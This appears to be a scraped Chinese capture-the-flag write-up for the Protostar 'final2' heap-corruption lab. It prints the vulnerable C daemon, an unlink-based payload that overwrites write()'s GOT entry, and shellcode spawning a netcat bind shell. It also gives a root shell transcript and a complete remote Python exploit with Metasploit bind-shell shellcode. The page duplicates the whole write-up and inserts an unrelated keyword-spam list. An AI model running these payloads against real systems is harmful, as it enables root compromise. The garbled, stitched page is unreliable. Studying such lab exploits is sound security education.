Protostar final2
发表于:2025-02-01 作者:千家信息网编辑
千家信息网最后更新 2025年02月01日,Core files will be in /tmp.This level is at /opt/protostar/bin/final2Source code#include "../common/
千家信息网最后更新 2025年02月01日Protostar final2Core files will be in /tmp.
Core files will be in /tmp.This level is at /opt/protostar/bin/final2Source code
#include "../common/common.c"
#include "../common/malloc.c"
#define NAME "final2"
#define UID 0
#define GID 0
#define PORT 2993
#define REQSZ 128
void check_path(char *buf)
{
char *start;
char *p;
int l;
/*
* Work out old software bug
*/
p = rindex(buf, '/');
l = strlen(p);
if(p) {
start = strstr(buf, "ROOT");
if(start) {
while(*start != '/') start--;
memmove(start, p, l);
printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ?
"yes" : "no", start - buf);
}
}
}
int get_requests(int fd)
{
char *buf;
char *destroylist[256];
int dll;
int i;
dll = 0;
while(1) {
if(dll >= 255) break;
buf = calloc(REQSZ, 1);
if(read(fd, buf, REQSZ) != REQSZ) break;
if(strncmp(buf, "FSRD", 4) != 0) break;
check_path(buf + 4);
dll++;
}
for(i = 0; i < dll; i++) {
write(fd, "Process OK\n", strlen("Process OK\n"));
free(destroylist[i]);
}
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
get_requests(fd);
}
Final2花了我不少时间,因为之前没有接触过"堆腐烂"这么高深的技术,最后找了本《缓冲区溢出***--检测、剖析与预防》补习才勉强知道dlmalloc是个什么货色。现简单讲下基本的东东:在内存中堆的位置如下图:堆内存可通过malloc()类函数分配,由free()类函数释放,程序的堆内存是由堆管理器分配的。由malloc()分配的内存块是有边界标识(Boundary tag)的。这些位置包含的信息是内存中这个块之前和之后放被放置的两个数据块的大小当使用free()释放数据块时会调用unlink()宏:实际上执行的操作就是:*(P->fd+12)=P->bk;*(P->bk+8)=P->fd数据块后部指针中的地址可以被写到前部指针加12所指向的位置。如果***者可以覆盖这两个指针并调用unlink()的话,那么就能用任何东西覆盖内存的任何位置!!!
啰嗦了一大堆现开始进入正题。通过分析题目可得在查找"/"时没有进行边界检查,而且从p开始的空余部分被复制到新的位置,另外程序规定处理每个字符串长度是128字节。我们需要利用这些来伪造出一个数据块user@protostar:/opt/protostar/bin$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ 'A'*103 + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff'+'B'*4+'C'*4" | nc 127.0.0.1 2993通过查看调试文件可以得到:(gdb) i r edx
edx 0x43434343 1128481603
(gdb) i r eax
eax 0x42424242 1111638594有点像heap3是不?再看看"A"的位置在哪里:(gdb) x/50x 0x0804e090
0x804e090: 0x0804d410 0x0804e098 0x41414141 0x41414141
0x804e0a0: 0x0804d410 0x41414141 0x41414141 0x41414141
0x804e0b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0f0: 0x41414141 0x41414141 0x41414141 0x2f414141
这里我们选择覆盖write()的地址,write()的地址是:user@protostar:/opt/protostar/bin$ objdump -R ./final2 | grep write
0804d41c R_386_JUMP_SLOT write
0804d468 R_386_JUMP_SLOT fwrite
现需要将A的内容变成shellcode,将A的地址覆盖到write()的位置上去,然后就能够执行shellcode了。因此生成的payload应该是这样的[FSRD+'A'*123+/]+[FSRD+ROOT+NOP+shellcode+'\x10\xd4\x04\x08' + '\x98\xe0\x04\x08']如下:user@protostar:/opt/protostar/bin$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ '\x90'*44 + '\x31\xc0\x50\x68\x6e\x2f\x6e\x63\x68\x2f\x2f\x62\x69\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31\xd2\xcd\x80' + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff' + '\x10\xd4\x04\x08'+'\x98\xe0\x04\x08'" | nc 127.0.0.1 2993
Process OK远程连接测试:D:\>nc 192.168.0.71 6666
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
exitOK!同样,写一份远程EXP,Python脚本如下:#!/usr/bin/env python
from socket import *
from struct import *
from optparse import OptionParser
def exploit(host, port):
# linux/x86/shell_bind_tcp - 78 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependChrootBreak=false, AppendExit=false,
# InitialAutoRunScript=, AutoRunScript=
shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" \
"\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" \
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" \
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" \
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" \
"\x0b\xcd\x80"
# Open the connection
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
req_size = 128
HDR = 'FSRD'
NOP = '\x90'
free_payload = '/' + '\xf8\xff\xff\xff' + '\xfc\xff\xff\xff'
free_payload += '\x10\xd4\x04\x08' + '\x98\xe0\x04\x08'
first_req = HDR + 'A'* (req_size - len(HDR) - 1) + '/'
second_req = HDR + 'ROOT'
second_req += NOP * (req_size - len(HDR) - 4 - len(shellcode) - len(free_payload))
second_req += shellcode
second_req += free_payload
s.send(first_req+second_req)
s.close
print("[*] Exploit successfull! Now launch: nc " + str(host) + " 4444")
if __name__ == "__main__":
parser = OptionParser("usage: %prog [options]")
parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1", type="string", help="Target to exploit")
parser.add_option("-p", "--port", dest="portnum", default=2993, type="int", help="Target port")
(options, args) = parser.parse_args()
exploit(options.hostname, options.portnum)
位置
内存
地址
数据
指针
分配
两个
函数
程序
边界
东西
信息
内容
后部
大堆
大小
字符
字符串
字节
实际
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
虞城软件开发系统
tenda设备数据库
浦东新区信息软件开发推荐咨询
四川预付费软件开发
当前我国网络安全的形势及对策
学网络技术会迟吗
网络安全法的正式实行时间
计算机网络技术有哪些题型
网络安全工业机器人
易途软件开发有限公司
数据库相关系统的三类人员
网络安全检查办法是什么
工行软件开发笔试题
阿里云服务器扫鸡
构建企业网络安全
计算机数据库查询语句
软件开发女硕士就业前景
创建数据库字符集为utf8代码
重庆特色软件开发诚信服务
软件开发纠纷中级法院
电力 网络安全 中标
盒马生鲜选址看网络技术
互联网科技英语
安卓服务器源代码
北辰招聘网络技术支持
软件开发网上培训班
数据库相关系统的三类人员
工业控制网络技术选择题
樱木花道配音软件开发
邵武鑫海网络技术服务部
Source code
#include "../common/common.c"#include "../common/malloc.c"
#define NAME "final2"
#define UID 0
#define GID 0
#define PORT 2993
#define REQSZ 128
void check_path(char *buf)
{
char *start;
char *p;
int l;
/*
* Work out old software bug
*/
p = rindex(buf, '/');
l = strlen(p);
if(p) {
start = strstr(buf, "ROOT");
if(start) {
while(*start != '/') start--;
memmove(start, p, l);
printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ?
"yes" : "no", start - buf);
}
}
}
int get_requests(int fd)
{
char *buf;
char *destroylist[256];
int dll;
int i;
dll = 0;
while(1) {
if(dll >= 255) break;
buf = calloc(REQSZ, 1);
if(read(fd, buf, REQSZ) != REQSZ) break;
if(strncmp(buf, "FSRD", 4) != 0) break;
check_path(buf + 4);
dll++;
}
for(i = 0; i < dll; i++) {
write(fd, "Process OK\n", strlen("Process OK\n"));
free(destroylist[i]);
}
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
get_requests(fd);
}
Final2花了我不少时间,因为之前没有接触过"堆腐烂"这么高深的技术,最后找了本《缓冲区溢出***--检测、剖析与预防》补习才勉强知道dlmalloc是个什么货色。现简单讲下基本的东东:在内存中堆的位置如下图:堆内存可通过malloc()类函数分配,由free()类函数释放,程序的堆内存是由堆管理器分配的。由malloc()分配的内存块是有边界标识(Boundary tag)的。这些位置包含的信息是内存中这个块之前和之后放被放置的两个数据块的大小当使用free()释放数据块时会调用unlink()宏:实际上执行的操作就是:*(P->fd+12)=P->bk;*(P->bk+8)=P->fd数据块后部指针中的地址可以被写到前部指针加12所指向的位置。如果***者可以覆盖这两个指针并调用unlink()的话,那么就能用任何东西覆盖内存的任何位置!!!
啰嗦了一大堆现开始进入正题。通过分析题目可得在查找"/"时没有进行边界检查,而且从p开始的空余部分被复制到新的位置,另外程序规定处理每个字符串长度是128字节。我们需要利用这些来伪造出一个数据块user@protostar:/opt/protostar/bin$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ 'A'*103 + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff'+'B'*4+'C'*4" | nc 127.0.0.1 2993通过查看调试文件可以得到:(gdb) i r edx
edx 0x43434343 1128481603
(gdb) i r eax
eax 0x42424242 1111638594有点像heap3是不?再看看"A"的位置在哪里:(gdb) x/50x 0x0804e090
0x804e090: 0x0804d410 0x0804e098 0x41414141 0x41414141
0x804e0a0: 0x0804d410 0x41414141 0x41414141 0x41414141
0x804e0b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0f0: 0x41414141 0x41414141 0x41414141 0x2f414141
这里我们选择覆盖write()的地址,write()的地址是:user@protostar:/opt/protostar/bin$ objdump -R ./final2 | grep write
0804d41c R_386_JUMP_SLOT write
0804d468 R_386_JUMP_SLOT fwrite
现需要将A的内容变成shellcode,将A的地址覆盖到write()的位置上去,然后就能够执行shellcode了。因此生成的payload应该是这样的[FSRD+'A'*123+/]+[FSRD+ROOT+NOP+shellcode+'\x10\xd4\x04\x08' + '\x98\xe0\x04\x08']如下:user@protostar:/opt/protostar/bin$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ '\x90'*44 + '\x31\xc0\x50\x68\x6e\x2f\x6e\x63\x68\x2f\x2f\x62\x69\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31\xd2\xcd\x80' + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff' + '\x10\xd4\x04\x08'+'\x98\xe0\x04\x08'" | nc 127.0.0.1 2993
Process OK远程连接测试:D:\>nc 192.168.0.71 6666
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
exitOK!同样,写一份远程EXP,Python脚本如下:#!/usr/bin/env python
from socket import *
from struct import *
from optparse import OptionParser
def exploit(host, port):
# linux/x86/shell_bind_tcp - 78 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependChrootBreak=false, AppendExit=false,
# InitialAutoRunScript=, AutoRunScript=
shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" \
"\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" \
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" \
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" \
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" \
"\x0b\xcd\x80"
# Open the connection
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
req_size = 128
HDR = 'FSRD'
NOP = '\x90'
free_payload = '/' + '\xf8\xff\xff\xff' + '\xfc\xff\xff\xff'
free_payload += '\x10\xd4\x04\x08' + '\x98\xe0\x04\x08'
first_req = HDR + 'A'* (req_size - len(HDR) - 1) + '/'
second_req = HDR + 'ROOT'
second_req += NOP * (req_size - len(HDR) - 4 - len(shellcode) - len(free_payload))
second_req += shellcode
second_req += free_payload
s.send(first_req+second_req)
s.close
print("[*] Exploit successfull! Now launch: nc " + str(host) + " 4444")
if __name__ == "__main__":
parser = OptionParser("usage: %prog [options]")
parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1", type="string", help="Target to exploit")
parser.add_option("-p", "--port", dest="portnum", default=2993, type="int", help="Target port")
(options, args) = parser.parse_args()
exploit(options.hostname, options.portnum)